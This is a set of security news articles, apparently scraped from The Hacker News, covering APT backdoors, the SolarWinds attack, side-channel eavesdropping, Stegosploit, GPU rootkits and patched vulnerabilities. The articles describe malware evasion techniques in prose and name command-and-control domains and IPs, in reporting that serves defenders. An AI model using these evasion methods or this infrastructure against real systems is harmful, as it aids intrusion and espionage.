Your most trusted resource "Your Antivirus" will be your worst enemy! Would you trust anything else!
And many other consequences. The vulnerability was reported to Kaspersky web-team and is now fixed.
| Malware |
Chinese Hackers Attacking Military Organizations With New Backdoor | https://thehackernews.com/2021/04/chinese-hackers-attacking-military.html | Bad actors with suspected ties to China have been behind a wide-ranging cyberespionage campaign targeting military organizations in Southeast Asia for nearly two years, according to new research.
Attributing the attacks to a threat actor dubbed "Naikon APT," cybersecurity firm Bitdefender laid out the ever-changing tactics, techniques, and procedures adopted by the group, including weaving new backdoors named "Nebulae" and "RainyDay" into their data-stealing missions. The malicious activity is said to have been conducted between June 2019 and March 2021.
"In the beginning of the operation the threat actors used Aria-Body loader and Nebulae as the first stage of the attack," the researchers said. "Starting with September 2020, the threat actors included the RainyDay backdoor in their toolkit. The purpose of this operation was cyberespionage and data theft."
Naikon (aka Override Panda, Lotus Panda, or Hellsing) has a track record of targeting government entities in the Asia-Pacific (APAC) region in search of geopolitical intelligence. While initially assumed to have gone off the radar since first exposed in 2015, evidence emerged to the contrary last May when the adversary was spotted using a new backdoor called "Aria-Body" to stealthily break into networks and leverage the compromised infrastructure as a command-and-control (C2) server to launch additional attacks against other organizations.
The new wave of attacks identified by Bitdefender employed RainyDay as the primary backdoor, with the actors using it to conduct reconnaissance, deliver additional payloads, perform lateral movement across the network, and exfiltrate sensitive information. The backdoor was executed by means of a technique known as DLL side-loading, which refers to the tried-and-tested method of loading malicious DLLs in an attempt to hijack the execution flow of a legitimate program like Outlook Item Finder.
As a backup strategy, the malware also installed a second implant called Nebulae to amass system information, carry out file operations, and download and upload arbitrary files from and to the C2 server. "The second backdoor [...] is supposedly used as a measure of precaution to not lose the persistence in case any signs of infections get detected," the researchers said.
Other tools deployed by the RainyDay backdoor include a file collector that picks up recently changed files with specific extensions and uploads them to Dropbox, a credential harvester, and various networking utilities such as NetBIOS scanners and proxies.
What's more, Bitdefender said RainyDay is likely the same malware that Kaspersky disclosed earlier this month, citing similarities in the functionality and the use of DLL side-loading to achieve execution. Called "FoundCore," the backdoor was attributed to a Chinese-speaking actor named Cycldek as part of a cyberespionage campaign directed against government and military organizations in Vietnam.
| Malware |
US Sanctions Russia and Expels 10 Diplomats Over SolarWinds Cyberattack | https://thehackernews.com/2021/04/us-sanctions-russia-and-expels-10.html | The U.S. and U.K. on Thursday formally attributed the supply chain attack of IT infrastructure management company SolarWinds with "high confidence" to government operatives working for Russia's Foreign Intelligence Service (SVR).
"Russia's pattern of malign behaviour around the world – whether in cyberspace, in election interference or in the aggressive operations of their intelligence services – demonstrates that Russia remains the most acute threat to the U.K.'s national and collective security," the U.K. government said in a statement.
To that effect, the U.S. Department of the Treasury has imposed sweeping sanctions against Russia for "undermining the conduct of free and fair elections and democratic institutions" in the U.S. and for its role in facilitating the sprawling SolarWinds hack, while also barring six technology companies in the country that provide support to the cyber program run by Russian Intelligence Services.
The companies include ERA Technopolis, Pasit, Federal State Autonomous Scientific Establishment Scientific Research Institute Specialized Security Computing Devices and Automation (SVA), Neobit, Advanced System Technology, and Pozitiv Teknolodzhiz (Positive Technologies), the last three of which are IT security firms whose customers are said to include the Russian Ministry of Defense, SVR, and Russia's Federal Security Service (FSB).
"As a company, we deny the groundless accusations made by the U.S. Department of the Treasury," Positive Technologies said in a statement. "In the almost 20 years we have been operating there has been no evidence of the results of Positive Technologies’ research being used in violation of the principles of business transparency and the ethical exchange of information with the professional information security community."
In addition, the Biden administration is also expelling ten members of Russia's diplomatic mission in Washington, D.C., including representatives of its intelligence services.
"The scope and scale of this compromise combined with Russia's history of carrying out reckless and disruptive cyber operations makes it a national security concern," the Treasury Department said. "The SVR has put at risk the global technology supply chain by allowing malware to be installed on the machines of tens of thousands of SolarWinds' customers."
For its part, Moscow had previously denied involvement in the broad-scope SolarWinds campaign, stating "it does not conduct offensive operations in the cyber domain."
The intrusions came to light in December 2020 when FireEye and other cybersecurity firms revealed that the operators behind the espionage campaign managed to compromise the software build and code signing infrastructure of SolarWinds Orion platform as early as October 2019 to deliver the Sunburst backdoor with the goal of gathering sensitive information.
Up to 18,000 SolarWinds customers are believed to have received the trojanized Orion update, although the attackers carefully selected their targets, opting to escalate the attacks only in a handful of cases by deploying Teardrop malware based on an initial reconnaissance of the target environment for high-value accounts and assets.
The adversary's compromise of the SolarWinds software supply chain is said to have given it the ability to remotely spy or potentially disrupt more than 16,000 computer systems worldwide, according to the executive order issued by the U.S. government.
Besides infiltrating the networks of Microsoft, FireEye, Malwarebytes, and Mimecast, the attackers are also said to have used SolarWinds as a stepping stone to breaching several U.S. agencies such as the National Aeronautics and Space Administration (NASA), the Federal Aviation Administration (FAA), and the Departments of State, Justice, Commerce, Homeland Security, Energy, Treasury, and the National Institutes of Health.
The SVR actor is also known by other names such as APT29, Cozy Bear, and The Dukes, with the threat group being tracked under different monikers, including UNC2452 (FireEye), SolarStorm (Palo Alto Unit 42), StellarParticle (CrowdStrike), Dark Halo (Volexity), and Nobelium (Microsoft).
Furthermore, the National Security Agency (NSA), the Cybersecurity and Infrastructure Security Agency (CISA), and the Federal Bureau of Investigation (FBI) have jointly released an advisory, warning businesses of active exploitation of five publicly known vulnerabilities by APT29 to gain initial footholds into victim devices and networks —
CVE-2018-13379 - Fortinet FortiGate VPN
CVE-2019-9670 - Synacor Zimbra Collaboration Suite
CVE-2019-11510 - Pulse Secure Pulse Connect Secure VPN
CVE-2019-19781 - Citrix Application Delivery Controller and Gateway
CVE-2020-4006 - VMware Workspace ONE Access
In a statement shared with The Hacker News, Pulse Secure said the issue identified by the NSA concerns a flaw that was patched on legacy deployments in April 2019, and that "customers who followed the instructions in a Pulse Secure security advisory issued at that time have properly protected their systems and mitigated the threat."
"We see what Russia is doing to undermine our democracies," said U.K. Foreign Secretary Dominic Raab. "The U.K. and U.S. are calling out Russia's malicious behaviour, to enable our international partners and businesses at home to better defend and prepare themselves against this kind of action."
| Cyber_Attack |
Spies Can Listen to Your Conversations by Watching a Light Bulb in the Room | https://thehackernews.com/2020/06/lamphone-light-bulb-spy.html | You might not believe it, but it's possible to spy on secret conversations happening in a room from a nearby remote location just by observing a light bulb hanging in there—visible from a window—and measuring the amount of light it emits.
A team of cybersecurity researchers has developed and demonstrated a novel side-channel attacking technique that can be applied by eavesdroppers to recover full sound from a victim's room that contains an overhead hanging bulb.
The findings were published in a new paper by a team of academics—Ben Nassi, Yaron Pirutin, Adi Shamir, Yuval Elovici and Boris Zadov—from the Israeli's Ben-Gurion University of the Negev and the Weizmann Institute of Science, which will also be presented at the Black Hat USA 2020 conference later this August.
The technique for long-distance eavesdropping, called "Lamphone," works by capturing minuscule sound waves optically through an electro-optical sensor directed at the bulb and using it to recover speech and recognize music.
How Does the 'Lamphone Attack' Work?
The central premise of Lamphone hinges on detecting vibrations from hanging bulbs as a result of air pressure fluctuations that occur naturally when sound waves hit their surfaces and measuring the tiny changes in the bulb's output that those small vibrations trigger to pick up snippets of conversations and identify music.
"We assume a victim located inside a room/office that contains a hanging light bulb," the researchers said. "We consider an eavesdropper a malicious entity that is interested in spying on the victim in order to capture the victim's conversations and make use of the information provided in the conversation (e.g., stealing the victim's credit card number, performing extortion based on private information revealed by the victim, etc.)."
To achieve this, the setup consists of a telescope to provide a close-up view of the room containing the bulb from a distance, an electro-optical sensor that's mounted on the telescope to convert light into an electrical current, an analog-to-digital converter to transform the sensor output to a digital signal, and a laptop to process incoming optical signals and output the recovered sound data.
"Lamphone leverages the advantages of the Visual Microphone (it is passive) and laser microphone (it can be applied in real-time) methods of recovering speech and singing," the researchers said.
Lamphone Attack Demonstration
The result? The researchers recovered an audible extract of President Donald Trump's speech that could be transcribed by Google's Speech to Text API. They also reproduced a recording of the Beatles' "Let It Be" and Coldplay's "Clocks" that were clear enough to be recognized by song identification services like Shazam and SoundHound.
"We show how fluctuations in the air pressure on the surface of the hanging bulb (in response to sound), which cause the bulb to vibrate very slightly (a millidegree vibration), can be exploited by eavesdroppers to recover speech and singing, passively, externally, and in real-time," the researchers outlined.
"We analyze a hanging bulb's response to sound via an electro-optical sensor and learn how to isolate the audio signal from the optical signal. Based on our analysis, we develop an algorithm to recover sound from the optical measurements obtained from the vibrations of a light bulb and captured by the electro-optical sensor."
The development adds to a growing list of sophisticated techniques that can be leveraged to snoop on unsuspecting users and extract acoustic information from devices intended to function as microphones, such as motion sensors, speakers, vibration devices, magnetic hard disk drives, and even wooden tables.
From How Far An Attacker Can Spy On Using the Lamphone Attack?
The new approach is effective from great distances — starting with at least 25 meters away from the target using a telescope and a $400 electro-optical sensor, and can further be amplified with high-range equipment.
Lamphone side-channel attacks can be applied in real-time scenarios, unlike previous eavesdropping setups such as Visual Microphone, which are hampered by lengthy processing times to even recover a few seconds of speech.
Moreover, since it's an entirely external scenario, the attack doesn't require a malicious actor to compromise any victim's device.
Given the effectiveness of the attack relies heavily on the light output, the countermeasures proposed by the paper's authors involve reducing the amount of light captured by the electro-optical sensor by using a weaker bulb and a curtain wall to limit the light emitted from a room.
The researchers also suggest using a heavier bulb to minimize vibrations caused by changes in air pressure.
| Cyber_Attack |
Here's the List of Top 10 Big Tech Companies where Ashley Madison is very Popular | https://thehackernews.com/2015/08/ashley-madison-hacked_26.html | Cheaters Exposed!
Would it be the Impact Team or a woman ex-employee who worked for Avid Life Media (as per John McAfee claims), the hackers that breached the cheater's dating website Ashley Madison has made the world aware of a lot of unfaithful people.
The data crunching firm Dadaviz has analysed the leaked information of the Ashley Madison website and revealed that thousands of the cheating website customers are from the large tech companies.
Among those large tech companies, IBM and HP have the highest number of employees using the online infidelity website. Also, the list included Cisco, Apple, Intel and Microsoft employees.
Top 10 Big Tech Companies that Love to Cheat
Here is the list of Top 10 Big Tech Companies where Ashley Madison is the most popular:
IBM
HP
Cisco
Apple
Intel
Microsoft
Samsung
SAP
Oracle
Qualcomm
Dadaviz found that one-third (34 percent) of all the Ashley Madison accounts were fake. Of course, there would be many people who might have shared fake information on the cheating website, including fake email addresses, fake locations and more.
24 Million Real Ashley Madison Accounts
However, out of 36.4 Million email addresses used on the website, over 24 Million addresses were real email accounts, which belongs to IBM, HP, Cisco, Apple and so on.
Until now, Ashley Madison hack has unmasked many hidden secrets.
Last week, hackers behind the Ashley Madison hack leaked 10GB of its customers private data online, which was shortly followed by another 20GB of company's internal data leak.
The leaked information also exposed a massive amount of e-mail from Ashley Madison parent company's Avid Life Media CEO Noel Biderman.
Now, let's see what's more to come!
| Data_Breaches |
How to Hack a Computer Using Just An Image | https://thehackernews.com/2015/06/Stegosploit-malware.html | Next time when someone sends you a photo of a cute cat or a hot chick than be careful before you click on the image to view — it might hack your machine.
Yes, the normal looking images could hack your computers — thanks to a technique discovered by security researcher Saumil Shah from India.
Dubbed "Stegosploit," the technique lets hackers hide malicious code inside the pixels of an image, hiding a malware exploit in plain sight to infect target victims.
Just look at the image and you are HACKED!
Shah demonstrated the technique during a talk titled, "Stegosploit: Hacking With Pictures," he gave on Thursday at the Amsterdam hacking conference Hack In The Box.
According to Shah, "a good exploit is one that is delivered in style."
Keeping this in mind, Shah discovered a way to hide malicious code directly into an image, rather than hiding it in email attachments, PDFs or other types of files that are typically used to deliver and spread malicious exploits.
To do so, Shah used Steganography — a technique of hiding messages and contents within a digital graphic image, making the messages impossible to spot with the naked eye.
Here's How to Hack digital pictures to send malicious exploits:
Until now Steganography is used to communicate secretly with each other by disguising a message in a way that anyone intercepting the communication will not realise it's true purpose.
Steganography is also being used by terrorist organisations to communicate securely with each other by sending messages to image and video files, due to which NSA officials are forced to watch Porn and much porn.
However in this case, instead of secret messages, the malicious code or exploit is encoded inside the image's pixels, which is then decoded using an HTML 5 Canvas element that allows for dynamic, scriptable rendering of images.
The "Secret Sauce" behind Stegosploit — this is what Shah calls it.
"I don't need to host a blog," Shah told Motherboard, "I don't need to host a website at all. I don't even need to register a domain. I can [just] take an image, upload it somewhere and if I just point you toward that image, and you load this image in a browser, it will detonate."
The malicious code, dubbed IMAJS, is a combination of both image code as well as JavaScript hidden into a JPG or PNG image file. Shah hides the malicious code within the image's pixels, and unless somebody zoom a lot into it, the image looks just fine from the outside.
Video Demonstration:
Shah demonstrated to Lorenzo Franceschi of Motherboard exactly how his hack works. He used Franceschi's profile picture and then prepared a demonstration video using his picture as the scapegoat.
In the first video presentation, Shah shows a step by step process on how it is possible to hide malicious code inside an image file using steganography technique. You can watch the video given below:
In the second video, Shah shows how his Stegosploit actually works. His exploit works only when the target opens the image file on his or her web browser and clicks on the picture.
You are HACKED!
Once the image is clicked, the system's CPU shoots up to 100 percent usage, which indicates the exploit successfully worked. The malicious code IMAJS then sends the target machine's data back to the attacker, thereby creating a text file on the target computer that says — "You are hacked!"
Shah also has programmed his malicious image to do more stealthy tasks, like downloading and installing spyware on victim's machine, as well as stealing sensitive data out of the victim's computer.
The bottom line here is:
You should not presume the image files as "innocent" anymore, as they can hide malicious code deep inside its pixels that could infect your computers.
Therefore, always make sure before you click on one.
Shah has been working on the research [PDF] during his spare time for almost five years, but he has not tested his technique on popular image sharing websites like Dropbox or Imgur. He also admitted that his method might not work everywhere.
| Malware |
Over 70,000 Memcached Servers Still Vulnerable to Remote Hacking | https://thehackernews.com/2017/07/memcached-vulnerabilities.html | Nothing in this world is fully secure, from our borders to cyberspace. I know vulnerabilities are bad, but the worst part comes in when people just don't care to apply patches on time.
Late last year, Cisco's Talos intelligence and research group discovered three critical remote code execution (RCE) vulnerabilities in Memcached that exposed major websites including Facebook, Twitter, YouTube, Reddit, to hackers.
Memcached is a popular open-source and easily deployable distributed caching system that allows objects to be stored in memory.
The Memcached application has been designed to speed up dynamic web applications (for example php-based websites) by reducing stress on the database that helps administrators to increase performance and scale web applications.
It's been almost eight months since the Memcached developers have released patches for three critical RCE vulnerabilities (CVE-2016-8704, CVE-2016-8705 and CVE-2016-8706) but tens of thousands of servers running Memcached application are still vulnerable, allowing attackers to steal sensitive data remotely.
Researchers at Talos conducted Internet scans on two different occasions, one in late February and another in July, to find out how many servers are still running the vulnerable version of the Memcached application.
And the results are surprising...
Results from February Scan:
Total servers exposed on the Internet — 107,786
Servers still vulnerable — 85,121
Servers still vulnerable but require authentication — 23,707
And the top 5 countries with most vulnerable servers are the United States, followed by China, United Kingdom, France and Germany.
Results from July Scan:
Total servers exposed on the Internet — 106,001
servers still vulnerable — 73,403
Servers still vulnerable but require authentication — 18,012
After comparing results from both the Internet scans, researchers learned that only 2,958 servers found vulnerable in February scan had been patched before July scan, while the remaining are still left vulnerable to the remote hack.
Data Breach & Ransom Threats
This ignorance by organisations to apply patches on time is concerning, as Talos researchers warned that these vulnerable Memcached installations could be an easy target of ransomware attacks similar to the one that hit MongoDB databases in late December.
Although unlike MongoDB, Memcached is not a database, it "can still contain sensitive information and disruption in the service availability would certainly lead to further disruptions on dependent services."
The flaws in Memcached could allow hackers to replace cached content with their malicious one to deface the website, serve phishing pages, ransom threats, and malicious links to hijack victim's machine, placing hundreds of millions of online users at risk.
"With the recent spate of worm attacks leveraging vulnerabilities this should be a red flag for administrators around the world," the researchers concluded.
"If left unaddressed the vulnerabilities could be leveraged to impact organisations globally and affect business severely. It is highly recommended that these systems be patched immediately to help mitigate the risk to organisations."
Customers and organisations are advised to apply the patch as soon as possible even to Memcached deployments in "trusted" environments, as attackers with existing access could target vulnerable servers to move laterally within those networks.
| Vulnerability |
Terminator RAT became more sophisticated in recent APT attacks | https://thehackernews.com/2013/10/terminator-rat-became-more.html | Advanced Persistent Threat (APT) is a term referring to targeted attacks on enterprises and other organizations and recently referred to what appeared to be nation-state intelligence agencies using cyber assaults for both conventional espionage and industrial espionage.
Advanced threats have targeted control systems in the past and these attacks use commercially available and custom-made advanced malware to steal information or perpetrate fraud.
Terminator RAT has been used against Tibetan and Uyghur activists before and while tracking attack against entities in Taiwan, the Cyber Security company FireEye Labs recently analyzed some new samples of 'Terminator RAT' (Remote Access Tool) that was sent via spear-phishing emails to targets in Taiwan.
A word document as an attachment was sent to victims, exploited a vulnerability in Microsoft Office (CVE-2012-0158), which subsequently drops a malware installer named "DW20.exe".
Sometimes the simplest techniques can foil the complex systems created by security firms and large enterprises to detect malicious programs and files. Lets see - What Evasion techniques this Advance version of Terminator RAT is using:
This executable will first create its working folders located at "%UserProfile%\Microsoft" and "%AppData%\2019", where it will store configurations and executable files (svchost_.exe and sss.exe).
Malware terminates and remove itself after installation. The malware will only run after reboot. This is one effective way to evade sandbox automatic analysis, as malicious activity will only reveal after a reboot.
The RAT (svchost_.exe) will collaborate with its relay (sss.exe) to communicate with the command and control server at liumingzhen.zapto.org / 123.51.208.69 and liumingzhen.myftp.org / 123.51.208.69.
This component plays the role as a network relay between the malware and the proxy server, by listening over port 8000.
This folder "2019" was then configured to be the new start up folder location by changing the registry "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Startupdeter forensics investigation." to deter forensics investigation by changing the startup location.
Also to deter file-based scanning that implements a maximum file size filter, by expanding the size of svchost_.exe to 40MB.
It is clear cybercrime is getting more organized and cybercriminals are becoming so much more sophisticated. Hackers are using stealth or advanced malware, usually to infiltrate hosts in networks and steal valuable data and APT attacks are increasingly becoming more sophisticated and harder to detect.
| Malware |
Nearly 18,000 SolarWinds Customers Installed Backdoored Software | https://thehackernews.com/2020/12/nearly-18000-solarwinds-customers.html | SolarWinds, the enterprise monitoring software provider which found itself at the epicenter of the most consequential supply chain attacks, said as many as 18,000 of its high-profile customers might have installed a tainted version of its Orion products.
The acknowledgment comes as part of a new filing made by the company to the US Securities and Exchange Commission on Monday.
The Texas-based company serves more than 300,000 customers worldwide, including every branch of the US military and four-fifths of the Fortune 500 companies.
The "incident was likely the result of a highly sophisticated, targeted and manual supply chain attack by an outside nation state," SolarWinds said in the regulatory disclosure, adding it "currently believes the actual number of customers that may have had an installation of the Orion products that contained this vulnerability to be fewer than 18,000."
The company also reiterated in its security advisory that besides 2019.4 HF 5 and 2020.2 versions of SolarWinds Orion Platform, no other versions of the monitoring software or other non-Orion products were impacted by the vulnerability.
Specifics regarding how the hackers penetrated SolarWinds' own network are still fuzzy, but the company noted in its filing that it was alerted to a compromise of its Microsoft Office 365 email and office productivity accounts that it's currently investigating to determine how long it existed and if the weakness was "associated with the attack on its Orion software build system."
Troublingly, according to a report from security researcher Vinoth Kumar, it also appears that a publicly-accessible SolarWinds GitHub repository was leaking FTP credentials of the domain "downloads.solarwinds.com," thus allowing an attacker to potentially upload a malicious executable disguised as Orion software updates to the downloads portal. Even worse, the FTP server was protected by a trivial password.
Following Kumar's responsible disclosure last year, the company addressed the misconfiguration on November 22, 2019.
The development comes a day after cybersecurity firm FireEye said it identified a nine-month-long global intrusion campaign targeting public and private entities that introduce malicious code into legitimate software updates for SolarWinds' Orion software to break into the companies' networks and install a backdoor called SUNBURST ("SolarWinds.Orion.Core.BusinessLayer.dll").
"The malicious DLL calls out to a remote network infrastructure using the domains avsvmcloud.com. to prepare possible second-stage payloads, move laterally in the organization, and compromise or exfiltrate data," Microsoft said in a write-up.
The US Department of Homeland Security was breached, as were the departments of Commerce and Treasury, Reuters reported yesterday. The espionage campaign also included the December 8 cyberattack on FireEye, although it's not immediately clear whether the intrusion and exfiltration was a direct result of a rogue SolarWinds update.
"The campaign demonstrates top-tier operational tradecraft and resourcing consistent with state-sponsored threat actors," said FireEye CEO Kevin Mandia. "These compromises are not self-propagating; each of the attacks require meticulous planning and manual interaction."
While the fallout caused by the hacking campaign is still unknown, fingers have been pointed at APT29, a hacking collective affiliated with the Russian foreign intelligence service. FireEye, which is tracking the campaign as "UNC2452," has not linked the attack to Russia.
For its part, SolarWinds is expected to issue a second hotfix later today that replaces the vulnerable component and adds several extra security enhancements.
"The SUNBURST campaign represents a uniquely distressing intrusion event with implications for multiple industries and network operators," DomainTools' Senior Security Researcher, Joe Slowik, said.
"The ubiquity of SolarWinds in large networks, combined with the potentially long dwell time of intrusions facilitated by this compromise, mean victims of this campaign need not only recover their SolarWinds instance, but may need to perform widespread password resets, device recovery, and similar restoration activity to completely evict an intruder."
"Through continuous monitoring of network traffic and an understanding of what hosts are communicating, defenders can leverage attacker weaknesses and dependencies to overcome these otherwise daunting challenges," he added.
| Malware |
Google buys Online Malware Multi Scanner VirusTotal | https://thehackernews.com/2012/09/google-buys-online-malware-multi.html | Google on Friday said it acquired online virus-scanning service, VirusTotal, a provider of a free service that detects computer viruses and other malicious software in files and websites.
VirusTotal, company based in Spain with only a handful of employees, performs the free service by pooling data from scores of "antivirus engines, website scanners, file and URL analysis tools," according to its site.
Users only have to head to the online tool, select the file from their desktops, and the system is supposed to take care of the rest. The maximum file size currently supported by the service is 32MB.
In a blog post on Friday, VirusTotal reps asserted that the merger is good news for consumers and bad news for malware generators for the following two reasons:
The quality and power of our malware research tools will keep improving, most likely faster; and Google's infrastructure will ensure that our tools are always ready, right when you need them.
"Our goal is simple: to help keep you safe on the web," VirusTotal said in the post today. "And we've worked hard to ensure that the services we offer continually improve. But as a small, resource-constrained company, that can sometimes be challenging. So we're delighted that Google, a long-time partner, has acquired VirusTotal."
VirusTotal was set up in 2007 and uses over 40 different antivirus engines to scan files and URLs for malware for free.
Users can upload small files for checking, or just input a URL, to see if it's on a blacklist, and VirusTotal shares its results with other security vendors to allow them to beef up their defenses.
VirusTotal will continue to operate independently and maintain existing partnerships with other antivirus companies and security experts.
Neither Google nor VirusTotal have revealed any further plans about how this might affect Google services, but it is possible that VirusTotal's solutions could be integrated throughout Google Apps to protect users against malicious files shared through Gmail and other programs.
| Malware |
New GPU-based Linux Rootkit and Keylogger with Excellent Stealth and Computing Power | https://thehackernews.com/2015/05/gpu-rootkit-linux-Keylogger.html | The world of hacking has become more organized and reliable over recent years and so the techniques of hackers.
Nowadays, attackers use highly sophisticated tactics and often go to extraordinary lengths in order to mount an attack.
And there is something new to the list:
A team of developers has created not one, but two pieces of malware that run on an infected computer's graphics processor unit (GPU) instead of its central processor unit (CPU), in order to enhance their stealthiness and computational efficiency.
The two pieces of malware:
Jellyfish Rootkit for Linux operating system
Demon Keylogger
The source code of both the Jellyfish Rootkit and the Demon keylogger, which are described as proof-of-concepts malware, have been published on Github.
Until now, security researchers have discovered nasty malware running on the CPU and exploiting the GPU capabilities in an attempt to mine cryptocurrencies such as Bitcoins.
However, these two malware could operate without exploiting or modifying the processes in the operating system kernel, and this is why they do not trigger any suspicion that a system is infected and remain hidden.
JELLYFISH ROOTKIT
Jellyfish rootkit is a proof-of-concept malware code designed to show that running malware on GPUs is practically possible, as dedicated graphics cards have their processors and memory.
These types of rootkits could snoop on the CPU host memory through DMA (direct memory access), which allows hardware components to read the main system memory without going through the CPU, making such actions harder to detect.
The pseudo-anonymous developers describe their Jellyfish Rootkit as:
"Jellyfish is a Linux based userland gpu rootkit proof of concept project utilizing the LD_PRELOAD technique from Jynx (CPU), as well as the OpenCL API developed by Khronos group (GPU). Code currently supports AMD and NVIDIA graphics cards. However, the AMDAPPSDK does support Intel as well."
Advantages of GPU stored memory:
No GPU malware analysis tools are available on the Internet
Can snoop on CPU host memory via DMA (direct memory access)
GPU can be used for fast/swift mathematical calculations like parsing or XORing
Stubs
Malicious memory is still inside GPU after device shutdown
Requirements for use:
Have OpenCL drivers/icds installed
Nvidia or AMD graphics card (Intel supports AMD's SDK)
Change line 103 in rootkit/kit.c to server ip you want to monitor GPU client from
Stay tuned for more features:
client listener; let buffers stay stored in GPU until you send a magic packet from the server
The anonymous developers of the rootkit warned people that Jellyfish is a proof-of-concept malware and still a work in progress so that it can contain flaws. The code published on Github is intended to be used for educational purposes only.
DEMON KEYLOGGER
Moreover, the developers also built a separate, GPU-based keylogger, dubbed Demon though they did not provide any technical details about the tool.
Demon keylogger is also a proof-of-concept that is inspired by the malware described in a 2013 academic research paper [PDF] titled "You Can Type, but You Can't Hide: A Stealthy GPU-based Keylogger," but the developers stressed that they were not working with the researchers.
"We are not associated with the creators of this paper," the Demon developers said. "We only PoC'd what was described in it, plus a little more."
As described in the research paper, GPU-based keystroke logger consists of two main components:
A CPU-based component that is executed once, during the bootstrap phase, with the task of locating the address of the keyboard buffer in main memory.
A GPU-based component that monitors, via DMA, the keyboard buffer, and records all keystroke events.
However, users may not worry about cyber criminals or hackers using GPU-based malware yet, but proof-of-concepts malware such as Jellyfish Rootkit and Demon keylogger could inspire future developments.
However, if exploited in future, What could be the area of attack vectors? Hit the comments below.
| Malware |
Google Employees Help Thousands Of Open Source Projects Patch Critical 'Mad Gadget Bug' | https://thehackernews.com/2017/03/google-mad-gadget-flaw.html | Last year Google employees took an initiative to help thousands of Open Source Projects patch a critical remote code execution vulnerability in a widely used Apache Commons Collections (ACC) library.
Dubbed Operation Rosehub, the initiative was volunteered by some 50 Google employees, who utilized 20 percent of their work time to patch over 2600 open source projects on Github, those were vulnerable to "Mad Gadget vulnerability."
Mad Gadget vulnerability (CVE-2015-6420) is a remote code execution bug in the Java deserialization used by the Apache Commons Collections (ACC) library that could allow an unauthenticated, remote attacker to execute arbitrary code on a system.
The ACC Library is widely deployed by many Java applications to decode data passed between computers. To exploit this flaw, all an unauthorized attacker need to do is submit maliciously crafted input to an application on a targeted system that uses the ACC library.
Once the vulnerable ACC library on the affected system deserializes the content, the attacker could remotely execute arbitrary code on the compromised system, which could then be used to conduct further attacks.
Remember ransomware attack on Muni Metro System? Late last year, an anonymous hacker managed to infect and take over more than 2,000 computers using this same Mad Gadget flaw in the software used to operate San Francisco's public transport system.
Following the public disclosure of the Mad Gadget flaw, almost every commercial enterprise including Oracle, Cisco, Red Hat, VMWare, IBM, Intel, Adobe, HP, Jenkins, and SolarWinds formally disclosed that they had been impacted by this vulnerability and patched it in their software.
However, few months after all big businesses patched the flaw, one of the Google employees noticed that several prominent open source libraries were still depending on the vulnerable versions of ACC library.
"We recognized that the industry best practices had failed. An action was needed to keep the open source community safe. So rather than simply posting a security advisory asking everyone to address the vulnerability, we formed a task force to update their code for them. That initiative was called Operation Rosehub," Justine Tunney, Software Engineer on TensorFlow, wrote on Google Open Source Blog.
Under Operation Rosehub, patches were sent to many open source projects, although the Google employees were only able to patch open source projects on GitHub that directly referenced vulnerable versions of ACC library.
According to the Open Source Blog, if the San Francisco Municipal Transportation Agency's software systems had been open source, Google engineers would also have been able to deliver patches for Mad Gadget to them, and their systems would have never been compromised.
| Vulnerability |
Microsoft Finally Releases Security Patches For Publicly-Disclosed Critical Flaws | https://thehackernews.com/2017/03/microsoft-patch-tuesday.html | After last month's postponement, Microsoft's Patch Tuesday is back with a massive release of fixes that includes patches for security vulnerabilities in Windows and associated software disclosed and exploited since January's patch release.
Meanwhile, Adobe has also pushed out security updates for its products, releasing patches for at least seven security vulnerabilities in its Flash Player software.
Microsoft patched a total of 140 separate security vulnerabilities across 18 security bulletins, nine of them critical as they allow remote code execution on the affected computer.
Microsoft Finally Patches Publicly Disclosed Windows Flaws
Among the "critical" security updates include a flaw in the SMB (server message block) network file sharing protocol, which had publicly disclosed exploit code since last month. The original patch released last year for this flaw was incomplete.
The flaw is a memory corruption issue that could allow remote code execution (RCE) of a malicious code if an attacker sends specially crafted messages to a Microsoft SMBv1 server.
All versions of Microsoft Windows are affected by this issue that could allow a remote, unauthenticated attacker to crash systems with denial of service attack.
Microsoft admitted: "Remote code execution vulnerabilities exist in the way that the Microsoft Server Message Block 1.0 (SMBv1) server handles certain requests. An attacker who successfully exploited the vulnerabilities could gain the ability to execute code on the target server. To exploit the vulnerability, in most situations, an unauthenticated attacker could send a specially crafted packet to a targeted SMBv1 server."
Microsoft patched the vulnerability but did not credit Laurent Gaffié, who found the flaw last year and released the exploit code in February.
Microsoft Also Patches Flaws Uncovered By Google
Another critical patch (MS17-013) contains a dozen of serious flaws in Windows' Graphics Component GDI Library used in Office, Skype, Lync, and Silverlight.
The flaws reside in the way Windows handles certain image files. Hackers can exploit the weaknesses to achieve remote code execution on your system by making you visit a booby-trapped website or open a malware-ridden document. No further user interaction is needed.
Google's Project Zero also disclosed this flaw with proof-of-concept exploit late last month before Microsoft had fixed it.
All supported releases of Microsoft Windows back to Windows Vista are vulnerable to this flaw. The tech giant originally patched this issue in June last year, but the patch was incomplete.
Microsoft also patched seven other critical flaws, including two cumulative updates for Internet Explorer and its Edge browser, and nine important ones.
In late last month, Google's Project Zero research team publicly disclosed details and proof-of-concept exploit for a code execution flaw in Microsoft's Internet Explorer and Edge browsers that could allow attackers to cause a crash of the browsers.
Meanwhile, Adobe also released patches for its Flash Player software for Windows, Macintosh, Linux and Chrome OS.
Users are advised to apply Windows as well as Adobe patches to keep away hackers and cybercriminals from taking control over your computer.
| Vulnerability |
Evolution of Emotet: From Banking Trojan to Malware Distributor | https://thehackernews.com/2020/11/anyrun-emotet-malware-analysis.html | Emotet is one of the most dangerous and widespread malware threats active today.
Ever since its discovery in 2014—when Emotet was a standard credential stealer and banking Trojan, the malware has evolved into a modular, polymorphic platform for distributing other kinds of computer viruses.
Being constantly under development, Emotet updates itself regularly to improve stealthiness, persistence, and add new spying capabilities.
This notorious Trojan is one of the most frequently malicious programs found in the wild. Usually, it is a part of a phishing attack, email spam that infects PCs with malware and spreads among other computers in the network.
If you'd like to find out more about the malware, collect IOCs, and get fresh samples, check the following article in the Malware trends tracker, the service with dynamic articles.
Emotet is the most uploaded malware throughout the past few years. Here below is the rating of uploads to ANY.RUN service in 2019, where users ran over 36000 interactive sessions of Emotet malware analysis online.
The malware has changed a lot over time, and with every new version, it gets more and more threatening for victims. Let's have a closer look at how it evolved.
When it was just like any other standard banking Trojan, the malware's main goal was to steal small companies' credentials, mainly in Germany and Austria. By faking invoices or other financial documents, it made users click on the links and let the malware in.
Later that year, it acquired a diverse modular architecture, whose primary focuses were downloading a malware payload, spreading onto as many machines as possible, and sending malicious emails to infect other organizations.
